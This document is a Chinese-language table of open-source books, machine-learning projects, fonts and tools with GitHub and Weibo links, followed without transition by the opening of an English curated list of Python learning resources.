[《The Kaggle Book》](https://github.com/PacktPublishing/The-Kaggle-Book) | GitHub 上的开源技术书籍：《The Kaggle Book》，Kaggle 是一个知名的科学竞赛平台，不少开发者会通过参加 Kaggle 上的竞赛，快速提升自己的编码经验。通过这本书，你将熟悉 Kaggle 平台的使用、了解不同建模任务（包括对象检测、NLP、时间序列），进一步学习充分利用 Kaggle Notebook、数据集和论坛来提升个人能力。 | []()
[《动手学习深度学习 - 视频笔记》](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes) | 课程视频共 73 节，单个视频平均时长不超过 30 分钟。课程既包含少量的机器学习的基础知识；又有如今前沿应用的 各种深度学习模型，同时每一章节的讲解还配备由 pytorch 实现的代码、教科书等等。该课程可帮助同学在短期内，掌握深度学习的基础模型与前沿知识和并提高实践能力。 | [](https://weibo.com/5722964389/LrkKblDb4)
[《给数据科学家看的 SQL 教程》](https://github.com/DataWithDanny/sql-masterclass) | GitHub 上的开源技术教程：《给数据科学家看的 SQL 教程》，作者将基于一个加密货币交易数据库，带你了解 SQL 的常见用法。该教程共分为 13 个章节，每个章节作者都会提供不少习题与答案，以便大家训练学习。 | [](https://weibo.com/5722964389/LqFv23rZN)
[《树莓派编程实用教程》](https://github.com/wxlscm/raspberry_tutorial) | 全书共 31000 字，提供 20 多个树莓派应用实例，适合想在树莓派开发项目的工程师、学生参考学习。此外，该书还涵盖 Python，Linux 命令，C/C++，OpenCV，Darknet 等相关知识。 | [](https://weibo.com/5722964389/LqyqFDhTZ)
[《深度强化学习教程》](https://github.com/huggingface/deep-rl-class) | Hugging Face 在 GitHub 开源了一个《深度强化学习教程》，在该教程中，你将通过理论+实践的方式，了解深度强化学习相关的开源库、开发工具、项目发布等基础知识。 | [](https://weibo.com/5722964389/Lqw4xfHVq)
[《语音合成：从入门到放弃》](https://github.com/cnlinxi/book-text-to-speech/releases) | 该书主要介绍当前语音合成技术的发展历史、开源资料、详解语音特征提取、声学模型、语音合成知识结构等技术，感兴趣的同学可以看一下。 | [](https://weibo.com/5722964389/LmnXId8oh)
[《用 Rust 开发一个操作系统》](https://github.com/phil-opp/blog_os) | 通过这个教程，你将学习如何使用 Rust 来编写一个操作系统，每篇文章都是一个小教程，并且包含了所有代码，你可以跟着一起学习。 | [](https://weibo.com/5722964389/LlaxJaW4P)
[《蘑菇书 EasyRL》](https://github.com/datawhalechina/easy-rl) | GitHub 上的深度学习技术书籍，覆盖了强化学习、马尔可夫决策过程、策略梯度、模仿学习等多个知识点。该教程也称为 “蘑菇书”，寓意是希望此书能够为读者注入活力，让读者 “吃” 下这本蘑菇之后，能够饶有兴致地探索强化学习，像马里奥那样愈加强大，继而在人工智能领域觅得意外的收获。 | [](https://weibo.com/5722964389/LkRGJpxjI)
[《Rust 从零开发到上线》](https://github.com/LukeMathWalker/zero-to-production) | ，该项目主要教你如何通过 Rust 来开发一个后端 API 项目。 | [](https://weibo.com/5722964389/LkjUiwhs3)
[《Rust 异步编程指南》](https://github.com/sunface/async-book) | GitHub 上的开源技术教程：《Rust 异步编程指南》，高质量手翻官方的 Async Book， 是一本非常好的异步编程学习使用教程。 | [](https://weibo.com/5722964389/Lk6yfrfK8)
[《代码整洁之道》](https://github.com/JuanCrg90/Clean-Code-Notes) | 主要讲解如何编写干净、整洁的代码，合理定义代码名称、单元测试、项目数据结构等内容。 | [](https://weibo.com/5722964389/Lk16iblci)
[《机器学习系统：设计和实现》](https://github.com/openmlsys/openmlsys-zh) | 主要讲解现代机器学习系统的设计原理以及实现经验。覆盖了编程接口、计算图、编译器前后端、数据处理、模型部署、分布式训练等知识点。 | [](https://weibo.com/5722964389/LjbZgE85C)
[《区块链开发指南》](https://github.com/dcbuild3r/blockchain-development-guide) | 一个挺有意思的公益性技术教程，该教程主要讲解 Web 前后端开发、以太坊基础、智能合约、密码学、数据分析等知识。 | [](https://weibo.com/5722964389/Lj6ujqM5Y)
[《Rust 数据结构与算法》](https://github.com/QMHTMY/RustBook) | 共分九章，主要介绍计算机科学、基本数据结构与算法分析、递归、查找、排序等内容。 | [](https://weibo.com/5722964389/LiMsg7ZgN)
[《Python 设计模式》](https://github.com/faif/python-patterns) | 作者通过编码实现，为多种 Python 设计模式提供了代码参考示例。除了代码之外，项目中还收录了有关 Python 设计模式的视频讲解，适合配套学习。 | [](https://weibo.com/5722964389/LiEcOErVK)
[《Rust 练习实践》](https://github.com/sunface/rust-by-practice) | 该教程将通过简单到困难的代码示例，让你学习如何基于小型项目来练习和实践 Rust。目前有提供中、英文两个版本。 | [](https://weibo.com/5722964389/LiBQHpvtu)
[《Linux 系统操作手册》](https://github.com/abarrak/linux-sysops-handbook) | 主要介绍了 Linux 系统常用的管理技术与运维工具。书中包括系统用户权限管理、Shell 使用技巧、文件权限设置、后台管理任务设置、日志记录的监控与分析等知识。 | [](https://weibo.com/5722964389/LiuMkmPQm)
[db-tutorial](https://github.com/dunwu/db-tutorial) | 一份数据库相关学习教程，里面含有 MySQL、NoSQL、MongoDB、Elasticsearch、Redis 等学习教程，其中 MySQL 与 Redis 提供了思维导图对学习重点内容进行梳理，以便大家更好学习理解。 | [](https://weibo.com/5722964389/LhUrzumpt)
[《NLP 中文学习笔记》](https://github.com/DengBoCong/nlp-paper) | 作者是来自华中科技大学的硕士生，里面主要记录了一些作者在学习过程中阅读过且感觉不错的论文。对于一些经典或思路很新奇的论文，作者会进行精读，并写一些阅读笔记同步上传更新。 | [](https://weibo.com/5722964389/LgP4SebE6)
[《深度强化学习：基础、研究与应用 》](https://deepreinforcementlearningbook.org/) | 一本开放的 AI 技术教程，作者为北大助理教授董豪博士。书中主要讲解深度学习入门知识、常用算法、科技前沿研究方向、实际生活应用等内容。 | [](https://weibo.com/5722964389/LgiRPEfVn)
[《代码分析与自动化重构》](https://github.com/modernizing/modernization) | GitHub 上的开源技术教程：《代码分析与自动化重构》，主要讲解如何自己动手设计源码解析、构建代码的代码模型、可视化代码、以及进行自动化的重构和守护。 | [](https://weibo.com/5722964389/Lg57riuYq)
[《概率机器学习》](https://github.com/probml/pml-book) | 作者是 Google 的研究科学家 Kevin P Murphy。来自微软、斯坦福、哈佛等各路大佬对本书的评价如下："这是一本了不起的书，涵盖了概率机器学习的概念、理论和计算基础，从基础开始，无缝过渡到该领域的前沿" | [](https://weibo.com/5722964389/Lg00QipDU)
[《机器人 501：机器人数学》](https://github.com/michiganrobotics/rob501) | 该教程主要是为机器人工程师讲解应用数学相关知识，同时也被用于密歇根大学的研究生教学。 | [](https://weibo.com/5722964389/LcRXXkIXb)
[《Everything curl》](https://github.com/bagder/everything-curl/) | GitHub 上一本开源技术教程，里面讲述了 curl 项目、命令行工具、开发库的发展历史及技术原理。除此之外，你还可以从中学习到网络协议、命令行工具开发、开源项目维护、软件架构等扩展知识，非常值得一读。 | [](https://weibo.com/5722964389/LcO2qdbkh)
[《笨方法学 Go 泛型》](https://github.com/akutz/go-generics-the-hard-way) | GitHub 上的 Go 语言开源技术教程，主要包括开发环境安装、Hello World 示例、Go 泛型介绍及代码实现等内容。 | [](https://weibo.com/5722964389/Lcnkm9qo2)
[《静态程序分析入门》](https://github.com/RangerNJU/Static-Program-Analysis-Book) | 作者将手把手教你编写一个静态程序分析器。 | [](https://weibo.com/5722964389/Lc3ij614A)
[《用 90 天学 DevOps》](https://github.com/MichaelCade/90DaysOfDevOps) | 里面记录了国外一名开发者学习 DevOps 的 90 天历程。内容包括 DevOps 定义、Linux 基础知识、计算机网络、k8s 及容器的使用、自动化配置管理、日志监控管理与数据可视化等知识。 | [](https://weibo.com/5722964389/LbK2WhptF)
[《Python 中的统计学与机器学习》](https://github.com/duchesnay/pystatsml) | GitHub 上开源人工智能技术教程，主要讲解 Python 基础语法、数据处理以及数据可视化、多元统计、线性代数、特征提取、卷积神经网络等知识点。 | [](https://weibo.com/5722964389/LbwiziB52)
[《Rust语言圣经》](https://github.com/sunface/rust-course) | GitHub 上开源的 Rust 中文技术教程，主要包含 Rust 开发环境安装、语法基础入门与高级进阶、异步编程、代码最佳实践、错误处理等内容，对 Rust 进行了全面且深入的讲解。 | [](https://weibo.com/5722964389/LblGZkRNB)
[EasyRL](https://github.com/datawhalechina/easy-rl) | GitHub 上开源的 AI 强化学习中文教程，主要包含了强化学习概述、马尔可夫决策过程 、表格型方法、策略梯度、模仿学习等内容。 | [](https://weibo.com/5722964389/Lb1EWpbwm)
[《算法通关手册》](https://github.com/itcharge/LeetCode-Py) | 提供了超详细的「算法与数据结构」基础讲解教程，「LeetCode」650+ 道题目 Python 版的详细解析。该教程将通过「算法理论学习」和「编程实战练习」相结合的方式，带你从零基础到彻底掌握算法知识。 | [](https://weibo.com/5722964389/LaYUtwaCE)
[《深度学习面试》](https://github.com/BoltzmannEntropy/interviews.ai) | 全书近 400 页，收录了数百道深度学习面试题与答案，附带有精美的插图和图表。该书主要讲解微积分、贝叶斯深度学习、特征提取、逻辑回归等内容，附有 PyTorch、Python 和 C++ 代码示例。 | [](https://weibo.com/5722964389/Larea65be)
[《JavaScript 30 天编程挑战》](https://github.com/Asabeneh/30-Days-Of-JavaScript) | 一个前端开源技术教程，作者提供了一个可循序渐进的前端开发指南，带你一步一步入门 JavaScript 开发。内容主要包括前端开发环境配置、VSCode 代码编辑器使用介绍、JavaScript 语法基础、JSON 处理、DOM 对象操作、数据可视化项目编写等。 | [](https://weibo.com/5722964389/La4lu6yhC)
[《开源软件指南》](https://github.com/github/opensource.guide) | GitHub 官方发布的一套技术文档：《开源软件指南》，有多个语言版本。主要讲解如何启动一个开源项目、项目维护的最佳实践，怎么通过开源工作获得经济报酬等内容。 | [](https://weibo.com/5722964389/L9dI2pSpQ)
### 机器学习/人工智能
名称 | 简述 | 源
---- | ----- | -----
[Paper Picture Writing Code](https://github.com/MLNLP-World/Paper-Picture-Writing-Code) | GitHub 上开源的 LaTeX 画图代码库。里面包含了几种 AI 论文中常用的画图代码，如折线图、柱状图、散点图、注意力可视化以及结构图等。 | [](https://weibo.com/5722964389/MbcmRFfDL)
[PaddleHub](https://github.com/PaddlePaddle/PaddleHub) | 百度在 GitHub 上开源的一款预训练模型工具包：PaddleHub，涵盖了大模型、CV、NLP、Audio、Video、工业应用等 400+ 预训练模型，代码全部开源，离线可运行。 | [](https://weibo.com/5722964389/M5Ici3sxr)
[AiLearning-Theory-Applying](https://github.com/ben1234560/AiLearning-Theory-Applying) | GitHub 上一个开源的 AI 知识库，主要帮助开发者快速上手 AI 理论及应用实战，基础知识、机器学习、深度学习、自然语言处理 BERT，含大量注释及数据集，力求每一位能看懂并复现。 | [](https://weibo.com/5722964389/LFfMNz3bo)
[Dot](https://github.com/sensity-ai/dot) | 是 GitHub 上一个开源的 Deepfake AI 换脸攻击工具包。针对身份验证、视频会议系统等渗透测试工作而生，可供安全分析师、红队成员和生物识别研究人员使用。 | [](https://weibo.com/5722964389/LB8pSEYV1)
[ClearML](https://github.com/allegroai/clearml) | GitHub 上一个开源的机器学习工具包：ClearML，自带简洁美观的可视化界面。该工具可用于简化机器学习开发、运维流程，自动完成实验跟踪与结果记录，并提供了灵活多变的数据管理方案。 | [](https://weibo.com/5722964389/LyLvv9lJn)
[Image-Processing-Node-Editor](https://github.com/Kazuhito00/Image-Processing-Node-Editor) | 日本开发者在 GitHub 开源的一款图像处理节点编辑器，通过该工具，可以辅助并完成深度学习的各项图像处理工作，快速验证、对比各个图像在不同条件下的执行结果。 | [](https://weibo.com/5722964389/Ly9NtmoMG)
[BEVFormer](https://github.com/zhiqi-li/BEVFormer) | GitHub 上一套开源的环视物体检测方案：BEVFormer，实现了在鸟瞰图视角下的特征优化，可应用于汽车自动驾驶场景。 | [](https://weibo.com/5722964389/LxZbW6AGc)
[Paper2GUI](https://github.com/Baiyuetribe/paper2gui) | 一款面向普通人的 AI 桌面 APP 工具箱，开箱即用，非常方便，已支持 15+ AI 模型，内容涵盖语音合成、视频补帧、视频超分、目标检测、图片风格化、图片 OCR 识别等领域，兼容 Windows、Mac、Linux 等主流操作系统。 | [](https://weibo.com/5722964389/LwMX2DEr6)
[FinRL](https://github.com/AI4Finance-Foundation/FinRL) | GitHub 上一个开源的量化金融自动交易框架：FinRL，附带有完整的深度学习、量化交易技术教程。项目覆盖了各类常用市场，并提供先进的算法核心，支持各种金融任务（投资组合分配、加密货币交易、高频交易）、实时交易等功能。 | [](https://weibo.com/5722964389/LwDwv9lEw)
[internet-dataset](https://github.com/RimoChan/internet-dataset) |这个 GitHub 仓库收录了各种通过搜索引擎获取的数据集，整体数据量将近 50G，其中包括域名、网页、反向索引等数据。 | [](https://weibo.com/5722964389/Lvzx3kXBi)
[Energon-AI](https://github.com/hpcaitech/ColossalAI) | GitHub 上一个开源的大模型推理系统：Energon-AI。仅需对现有项目进行极少量修改，即可完成自定义大模型的推理部署，获得并行扩展的超线性加速。对于 AI 大模型分布式推理加速，相比英伟达 FasterTransformer 可提升 50% 以上。 | [](https://weibo.com/5722964389/LvvNF8glt)
[Colossal-AI](https://github.com/hpcaitech/ColossalAI) | 国人在 GitHub 开源的一个项目：Colossal-AI，仅需极少量修改，即可让现有深度学习项目，在单张消费级显卡上，完成大模型训练，极大降低了项目研发成本！简而言之，有了这个开源项目后，每个人都可以在家训练 AI 大模型！尤其是大幅度降低了 AI 大模型微调、推理等下游任务和应用部署的门槛。 | [](https://weibo.com/5722964389/LtnCy6sQH)
[Gradio](https://github.com/gradio-app/gradio) | GitHub 上这个名为 Gradio 的开源项目，可在短短几分钟内，为机器学习模型生成一个简洁、优雅的 UI 界面，让你能在浏览器中进行项目演示。通过该界面，你可以完成拖拽上传图像、粘贴文本、声音录制等操作，并查看模型输出内容。 | [](https://weibo.com/5722964389/Lr25mDzFw)
[nlp-paper](https://github.com/DengBoCong/nlp-paper ) | 字节跳动工程师在 GitHub 上整理的 NLP 论文列表（附阅读笔记），收录了一些比较经典或思路新奇的论文。其中包含 NLP 领域下的对话语音领域，复现模型以及数据处理等（代码含 TensorFlow 和 PyTorch 两版本） | [](https://weibo.com/5722964389/LqHRacIRL)
[Goopt](https://github.com/jokenox/Goopt) | 国外有位开发者基于 GPT-3 做了一款 AI 搜索引擎：Goopt，通过该搜索引擎检索到的所有内容，全部都是由 AI 和算法合成的。你可以在上面搜索任意术语，以获取相关结果与内容。通过这种方式，进一步模拟网页浏览体验 | [](https://weibo.com/5722964389/LqDVBBooN)
[AI-Paper-Collector](https://github.com/MLNLP-World/AI-Paper-collector) | GitHub 上一个开源的 Python 脚本：AI-Paper-Collector，可用于查找包含指定关键词的顶会论文列表，涵盖了 2019-2021 自然语言处理，计算机视觉，信息检索等领域的顶会论文。 | [](https://weibo.com/5722964389/Lq7keozHW)
[ChineseLyrics](https://github.com/dengxiuqi/ChineseLyrics) | GitHub 上开源的中文歌词数据库，作者收录了 10W+ 首歌词数据，给做 NLP 和数据分析领域的朋友们提供参考。 | [](https://weibo.com/5722964389/LpWIF3AXx)
[ROS-Face](https://github.com/maHidaka/ros_face) | 一个挺有意思的开源项目。作者希望通过 ROS（机器人操作系统）来控制人脸面部表情，让面部动作听从机械指令 | [](https://weibo.com/5722964389/Lp7EEn4EN)
[nlp-notebook](https://github.com/jasoncao11/nlp-notebook) | GitHub 上开源的 NLP 领域常见任务的实现：nlp-notebook，包括新词发现、以及基于 PyTorch 的词向量、中文文本分类、实体识别、摘要文本生成、句子相似度判断、三元组抽取、预训练模型等。 | [](https://weibo.com/5722964389/LoicfBjgt)
[funNLP](https://github.com/fighting41love/funNLP) | 几乎最全的中文 NLP 资源库。包括中英文敏感词、语言检测、中外手机 / 电话归属地 / 运营商查询、名字推断性别、手机号抽取、身份证抽取等内容。 | [](https://weibo.com/5722964389/Lo6pE6Y8x)
[Colossal-AI](https://github.com/hpcaitech/ColossalAI) | GitHub 上一个增长迅猛的国产 AI 开源项目：Colossal-AI，可用于 AI 大规模并行训练，仅需一半数量的 GPU，便能完成相同效果的 GPT-3 训练工作，极大降低了项目研发成本！ | [](https://weibo.com/5722964389/LnUeFy3vP)
[NeuralSpeech](https://github.com/microsoft/NeuralSpeech) | 微软亚洲研究院在 GitHub 开源的一个项目：NeuralSpeech ，提供了基于神经网络的语音处理，包括自动语音识别（ASR）、文本转语音（TTS）等。 | [](https://weibo.com/5722964389/Ll1zDmhT5)
[virtual_try_on_use_deep_learning](https://github.com/hpc203/virtual_try_on_use_deep_learning) | 使用深度学习算法实现虚拟试衣，结合了人体姿态估计、人体分割、几何匹配和 GAN，四种模型，只依赖 opencv 库就能运行。 | [](https://weibo.com/5722964389/LklhwuxuG)
[ml4a](https://github.com/ml4a/ml4a) | 如果你正在尝试用 AI 来进行艺术创作，那么可以看下 ml4a 这个开源 Python 库。作者通过代码封装的方式，将 AI 艺术创作类的开源项目整合到了一起，包括图像风格迁移、基于素描的图像生成、图片分辨率增强、图像卡通话等模型。 | [](https://weibo.com/5722964389/LiX3Pbnan)
[《AI as an API》](https://github.com/datastaxdevs/workshop-ai-as-api) | GitHub 上的人工智能技术教程：《AI as an API》，主要讲解如何基于 NLP 技术，开发一个文本分类器，并进行持续化数据存储，封装成 API。教程学习时长，约为 50 分钟左右，适合在工作之余的闲暇时间动手学习。 | [](https://weibo.com/5722964389/LiUHHaTGV)
[FastFold](https://github.com/hpcaitech/FastFold) | GitHub 上开源了一套训练推理加速方案，通过引入 GPU 优化和大模型训练技术，可将 AlphaFold 总体训练时间 从 11 天减少到 67 小时，且总成本更低，在长序列推理中也实现 9.3 ∼ 11.6 倍提升，加速效果颇为显著。 | [](https://weibo.com/5722964389/LiAhibPFD)
[Colossal-AI](https://github.com/hpcaitech/ColossalAI) | 国人在 GitHub 开源的一个深度学习系统：Colossal-AI，可用于 AI 大规模并行训练。仅需一半数量的 GPU，便能完成相同效果的 GPT-3 训练工作，极大降低了项目研发成本！ | [](https://weibo.com/5722964389/Lgsil82Rz)
[SofGAN](https://github.com/apchenstu/sofgan) | 作用是可通过计算机视觉和模式识别技术，生成一张支持风格动态调整的人物肖像。 | [](https://weibo.com/5722964389/LcGblczJr)
[Hugging Face](https://github.com/) | Hugging Face 对外开放的机器学习任务列表，可以说整理的非常全面了。里面覆盖了自然语言处理、音频、计算机视觉等多个分类，其中包括掩蔽语言填充、智能问答、文本分类、文本翻译、语音识别、图像分割和物体检测等任务。每个任务都附有相对应的使用场景介绍、实际案例、学习指南、模型、数据集等资源。 | [](https://weibo.com/5722964389/Lcz6XyeZ9)
[NeRF](https://github.com/NVlabs/instant-ngp) | 一款 AI 模型，可借助人工智能技术，把多张 2D 图片进行拼接，进而生成该图片的 3D 模型。 | [](https://weibo.com/5722964389/LbExZlG9Q)
[annotated_latex_equations](https://github.com/synercys/annotated_latex_equations) | GitHub 上一个开源的 LaTeX 示例库，教你如何使用 Tikz 创建彩色的 LaTeX 注释，让论文变得更为简洁与美观。 | [](https://weibo.com/5722964389/LaINX18aQ)
[动漫肖像魔法](https://waifulabs.com/) | 来自麻省理工大学的工作室 sizigi，发布的一款很有意思的 AI 工具，你可以通过选择头像、滤镜、风格、动作等 4 个步骤，来定制一个专属的二次元老婆 / 老公 | [](https://weibo.com/5722964389/LaHCTp6gA)
[ddddocr](https://github.com/sml2h3/ddddocr) | 一个开源的中文 OCR 通用验证码 Python 识别库，通过大批量生成随机数据，并进行深度网络训练，帮助厂商检验自家验证码的难易强度。 | [](https://weibo.com/5722964389/La75XeXlc)
### 开源字体
名称 | 简述 | 源
---- | ----- | -----
[「得意黑 Smiley Sans」](https://github.com/telier-anchor/smiley-sans) | GitHub 上的中文开源字体：「得意黑 Smiley Sans」，一款在人文观感和几何特征中寻找平衡的中文黑体。整体字身窄而斜，细节融入了取法手绘美术字的特殊造型。字体支持简体中文常用字（覆盖 GB 2312 编码字符集）、拉丁字母、日文假名、阿拉伯数字和各类标点符号。 | [](https://weibo.com/5722964389/MfMLbxreE)
[《辰宇落雁體》](https://github.com/Chenyu-otf/chenyuluoyan_thin) | GitHub 上又一款开源中文字体：《辰宇落雁體》，由刘韦辰和王立宇两名同学联合创作，并基于 OFL 1.1 开源。 | [](https://weibo.com/5722964389/M19npcwCE)
[方舟像素字体](https://github.com/TakWolf/ark-pixel-font) | GitHub 上又一款开源的像素风字体：泛中日韩像素字体。支持 10、12 和 16 像素。目标是为开发「像素风游戏」，提供一套开箱即用的字体解决方案。 | [](https://weibo.com/5722964389/LuDUBmldF)
[煮豆黑体 Zhudou Sans](https://github.com/Buernia/Zhudou-Sans) | 一款开源的中文字体，支持中日韩标点、全角字母、全角数字及一些特殊符号。标点造型主要来源于 Noto Sans，可以为类似风格的西文字体带来更加协调的中外文混排效果。 | [](https://weibo.com/5722964389/Lp9e496zx)
[「繁媛黑體」](https://github.com/ayaka14732/FanWunHak) | 一款开源的繁体字体，基于「源样黑体」进行开发设计，整体风格看起来清晰自然，还能满足 "一简对多繁" 的需求。 | [](https://weibo.com/5722964389/Ll52NDdH7)
### 其他
名称 | 简述 | 源
---- | ----- | -----
[「中国传统色彩」](https://github.com/reorx/cht-colors) | 一个记录了「中国传统色彩」配色的网站，网站代码已在 GitHub 开源。该网站提供了各个色彩的常用名称、别名、RGB 与 HEX 值。 | [](https://weibo.com/5722964389/M4D1KbSaY)
[Fluent Emoji](https://github.com/microsoft/fluentui-emoji) | 微软开源的一套简洁、友好、可爱的 Emoji 表情包，基于 MIT 协议开源。 | [](https://weibo.com/5722964389/M2p9tv65f)
[Logto](https://github.com/logto-io/logto) | GitHub 上一个开源的用户登录认证系统：Logto，可在几分钟内，帮你快速构建完整的用户身份及登录体系。项目自带基于 OIDC 的身份服务，支持多个社交平台的登录集成，开箱即用，拥有丰富的图形化管理界面，另外还提供邮箱、短信等多种认证方式。 | [](https://weibo.com/5722964389/LCO7kArvE)
[GDevelop](https://github.com/4ian/GDevelop) | 一个开源的跨平台游戏开发引擎，可帮助不懂编程的设计师，快速开发一款能够满足移动端、桌面端、Web 端的游戏。 | [](https://weibo.com/5722964389/LB2qwByCQ)
[GreaterWMS](https://github.com/Singosgu/GreaterWMS) | 一个开源的仓储管理系统：GreaterWMS，拥有报表中心、财务中心等系统，支持货物管理、人员管理、订单管理等功能，适可用于多种成品管理环节的货物管理。 | [](https://weibo.com/5722964389/LvxaVcMd4)
[Windmill.dev](https://github.com/windmill-labs/windmill) | 一个开源的 OSS 开发者平台。通过编写少量 Python 和 Typescript 脚本，便可快速构建出生产级、多步骤的自动化应用。 | [](https://weibo.com/5722964389/LsnyCFb37)
[SVG Silh](https://svgsilh.com/) | 一个基于 CC0 协议开放的 SVG 素材网站，上面收录了诸多 SVG 图像与图标，所有素材均可免费商用。 | [](https://weibo.com/5722964389/Lrp45CYgH)
[StreamX](https://github.com/streamxhub/streamx) | 一个神奇的开源框架，让流处理更简单。该框架规范了项目配置，鼓励函数式编程，定义了最佳的编程方式，提供了一系列开箱即用的 Connectors。标准化了配置、开发、测试、部署、监控、运维的整个过程，提供了 Scala/Java 两套 API，最终目的是打造一个一站式大数据平台，流批一体，湖仓一体的解决方案。 | [](https://weibo.com/5722964389/Lrjz8mjH6)
[Kestra](https://github.com/kestra-io/kestra) | 一个可扩展性极强的开源编排和调度平台，可快速创建、运行、调度和监控数百万个复杂管道。支持任意类型的工作流程，易于上手学习，支持从 API、调度、检测、事件来触发执行，可通过界面直接配置流程。 | [](https://weibo.com/5722964389/LpjPBuoJf)
[Cook](https://github.com/YunYouJun/cook) | 国内开发者开源的一个菜谱网站：Cook，可自动将各种食材进行组合，生成对应的菜谱，并配套有视频教程。 | [](https://weibo.com/5722964389/LpcLeEUNS)
[Cytopia](https://github.com/CytopiaTeam/Cytopia) | 一款具有像素艺术风格的开源城市模拟器，基于 JSON 的自定义 UI 系统，可灵活定制，并通过程序生成多种地形，模拟城市构建。 | [](https://weibo.com/5722964389/Lp29H5jap)
[elest.io](https://elest.io/) | 在 Hacker New 上看到的一项开源软件托管服务，可在几分钟内，快速部署 150 多种开源软件。此外，该平台还会帮作者处理后续的软件安装、配置、加密、备份、系统更新、实时监控等工作，并将 10% 的收入跟开源作者共享。 | [](https://weibo.com/5722964389/LletgqaSO)
[《绝版游戏保护工程》](https://github.com/skywind3000/preserve-cd) | 收录了多款堪称经典的小游戏，让你重回童年。 | [](https://weibo.com/5722964389/LgDifjm5j)
[sha256algorithm](https://github.com/dmarman/sha256algorithm) | 这个 GitHub 项目通过可视化的方式，让你更为直观的理解 SHA256 算法原理。 | [](https://weibo.com/5722964389/Lf1k8Carf)
[Cubic 11](https://github.com/ACh-K/Cubic-11) | 一个开源的中文字体，像素风，可用于各类游戏及美术作品，支持商用。 | [](https://weibo.com/5722964389/LcQMTlANS)
[吃掉小鹿乃](https://github.com/arcxingye/EatKano) | 国内开发者做的一款摸鱼小游戏：吃掉小鹿乃。玩家需要在 20 秒内，尽可能点掉更多鹿乃头像。目前该游戏浏览量已突破 1000 万，主要用于训练手指灵活度和反应能力 | [](https://weibo.com/5722964389/LcwKQmBEJ)
[Homelab](https://github.com/khuedoan/homelab) | 由越南一位程序员小哥在 GitHub 开源的家用自托管基础设施，支持自动配置、操作和更新各类自托管服务，可用于打造自己的家庭开发实验室。其中包括代码自托管、证书管理、CI/CD 持续集成与交付、K8s 自动化安装和管理、实时聊天系统、应用监控面板等功能。 | [](https://weibo.com/5722964389/LcgfZ3rHA)
[Kvrocks](https://github.com/KvrocksLabs/kvrocks) | 一个开源的 NoSQL 数据库，基于 RocksDB 并兼容 Redis 协议，磁盘类型的 Redis 为降低存储成本而生，存储成本可以降到 Redis 的 1/10 以上。 | [](https://weibo.com/5722964389/LbDmVs22N)
## 声明
[](https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh)
本作品采用[知识共享署名-非商业性使用-禁止演绎 4.0 通用许可协议](https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh)进行许可。
|
# Contents
* [Beginner's Delight](#beginners-delight)
* [Resources for Women](#resources-for-women)
* [Why Python?](#why-python)
* [Style Guide and Idioms](#style-guide-and-idioms)
* [Dictionary](#dictionary)
* [Decorators](#decorators)
* [Generators](#generators)
* [Coroutines](#coroutines)
* [Iterators](#iterators)
* [Yield](#yield)
* [Context Managers](#context-managers)
* [Unicode](#unicode)
* [Networking](#networking)
* [Metaclasses](#metaclasses)
* [Documentation](#documentation)
* [Sphinx](#sphinx)
* [Debugging](#debugging)
* [Logging](#logging)
* [Testing](#testing)
* [Environments and Environment Management](#environments-and-environment-management)
* [Profiling](#profiling)
* [Packaging](#packaging)
* [Deployment](#deployment)
* [Fabric](#fabric)
* [Ansible](#ansible)
* [Contributing to Python Development](#contributing-to-python-development)
* [Warts and Gotchas](#warts-and-gotchas)
* [Web](#web)
* [Frameworks](#frameworks)
* [Flask](#flask)
* [Web2Py](#web2py)
* [Django](#django)
* [Bottle](#bottle)
* [Tornado](#tornado)
* [Pyramid](#pyramid)
* [Web Servers](#web-servers)
* [API and Web Services](#api-and-web-services)
* [Scraping](#scraping)
* [Mobile Development](#mobile-development)
* [Kivy](#kivy)
* [Google Glass](#google-glass)
* [Resources](#resources)
* [Libraries](#libraries)
* [GUI Programming](#gui-programming)
* [Android](#Android)
* [SL4A](#sl4a)
* [WSGI](#wsgi)
* [Databases](#databases)
* [SQLAlchemy](#sqlalchemy)
* [Data Mining](#data-mining)
* [Data Analysis](#data-analysis)
* [Pandas](#pandas)
* [Data Visualization](#data-visualization)
* [Deep Learning](#deep-learning)
* [IPython Notebooks](#ipython-notebooks)
* [Design Patterns](#design-patterns)
* [Concurrency Patterns](#concurrency-patterns)
* [Concurrency and Distributed Systems](#concurrency-and-distributed-systems)
* [Functional Programming](#functional-programming)
* [Python 2 vs Python 3](#python-2-vs-3)
* [Porting to Python 3](#porting-to-python-3)
* [Books](#books)
* [Free](#free)
* [Paid](#paid)
* [Online Courses and Challenges](#online-courses-and-challenges)
* [Discussions](#discussions)
* [Conferences and Events](#conferences-and-events)
* [Videos](#videos)
* [Editors and IDE's for Python programming](#editors-and-ides-for-python-programming)
* [Big Data](#bigdata)
* [Curated Python resources from other websites](#curated-python-resources-from-other-websites)
* [Newsletters](#newsletters)
* [Podcasts](#podcasts)
* [Miscellaneous](#miscellaneous)
## Beginner's Delight
* [Beginner's guide to Python](http://wiki.python.org/moin/BeginnersGuide)
* [The Hitchhiker's guide to Python](http://docs.python-guide.org/en/latest/)
* [Learn Python the hard way](http://learnpythonthehardway.org/book/)
* [Learn Python](http://www.learnpython.org/)
* [Google's Python class](https://developers.google.com/edu/python/)
* [Python tracks at Codecademy](http://www.codecademy.com/tracks/python)
* [Python for Beginners](http://www.pythonforbeginners.com/)
* [Intro to Python For Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science)
* [Best way to learn python](http://net.tutsplus.com/tutorials/the-best-way-to-learn-python/)
* [Python Tips, tools and resources](http://web.archive.org/web/20141010212202/http://lurnq.com/lesson/Getting-started-with-Python-Tips-Tools-and-Resources)
* [Python Koans: Learn Python through TDD](https://github.com/gregmalcolm/python_koans)
* [Beginner projects for a python newbie](http://newcoder.io/)
* [Learn X in Y minutes - Python](http://learnxinyminutes.com/docs/python/)
* [Python Practice book](http://anandology.com/python-practice-book/)
* [Python tools and software](http://www.linux.org/threads/python-tools-and-software.6372/)
* [Facts and myths about Python names and values](http://nedbatchelder.com/text/names.html)
* [*args and **kwargs in python explained](http://freepythontips.wordpress.com/2013/08/04/args-and-kwargs-in-python-explained/)
* [In Python, it’s all about the attributes](http://blog.lerner.co.il/python-attributes/)
* [Common newbie mistakes in Python- Part 1](http://blog.amir.rachum.com/post/54770419679/python-common-newbie-mistakes-part-1)
* [Common newbie mistakes in Python- Part 2](http://blog.amir.rachum.com/post/55024295793/python-common-newbie-mistakes-part-2)
* [PySchools](http://www.pyschools.com/)
